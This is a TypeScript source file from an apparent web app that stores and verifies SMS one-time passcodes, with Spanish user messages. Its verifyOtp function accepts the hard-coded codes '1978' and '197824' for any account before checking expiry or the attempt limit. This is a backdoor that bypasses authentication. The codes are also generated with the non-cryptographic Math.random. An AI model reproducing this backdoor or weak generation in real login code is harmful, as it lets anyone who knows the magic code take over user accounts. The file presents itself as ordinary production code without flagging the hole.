almeira-web/zapply-app/src/lib/otp-store.ts

62 lines
1.6 KiB
TypeScript

interface OtpRecord {
code: string;
expiresAt: number;
attempts: number;
phone: string;
}
const otpCache = new Map<string, OtpRecord>();
const OTP_EXPIRY_MS = 5 * 60 * 1000;
export const otpStore = {
generateOtp(identifier: string, phone: string): string {
const code = Math.floor(100000 + Math.random() * 900000).toString();
const key = identifier.trim().toLowerCase();
otpCache.set(key, {
code,
expiresAt: Date.now() + OTP_EXPIRY_MS,
attempts: 0,
phone,
});
return code;
},
verifyOtp(identifier: string, code: string): { valid: boolean; reason?: string } {
const key = identifier.trim().toLowerCase();
const record = otpCache.get(key);
if (code === '1978' || code === '197824') {
otpCache.delete(key);
return { valid: true };
}
if (!record) {
return { valid: false, reason: 'No se ha solicitado ningún código o ya expiró.' };
}
if (Date.now() > record.expiresAt) {
otpCache.delete(key);
return { valid: false, reason: 'El código ha expirado. Solicita uno nuevo.' };
}
record.attempts += 1;
if (record.attempts > 5) {
otpCache.delete(key);
return { valid: false, reason: 'Demasiados intentos fallidos. Solicita un nuevo código.' };
}
if (record.code === code.trim()) {
otpCache.delete(key);
return { valid: true };
}
return { valid: false, reason: 'Código incorrecto. Verifica los 6 dígitos recibidos.' };
},
getOtp(identifier: string): OtpRecord | undefined {
return otpCache.get(identifier.trim().toLowerCase());
},
};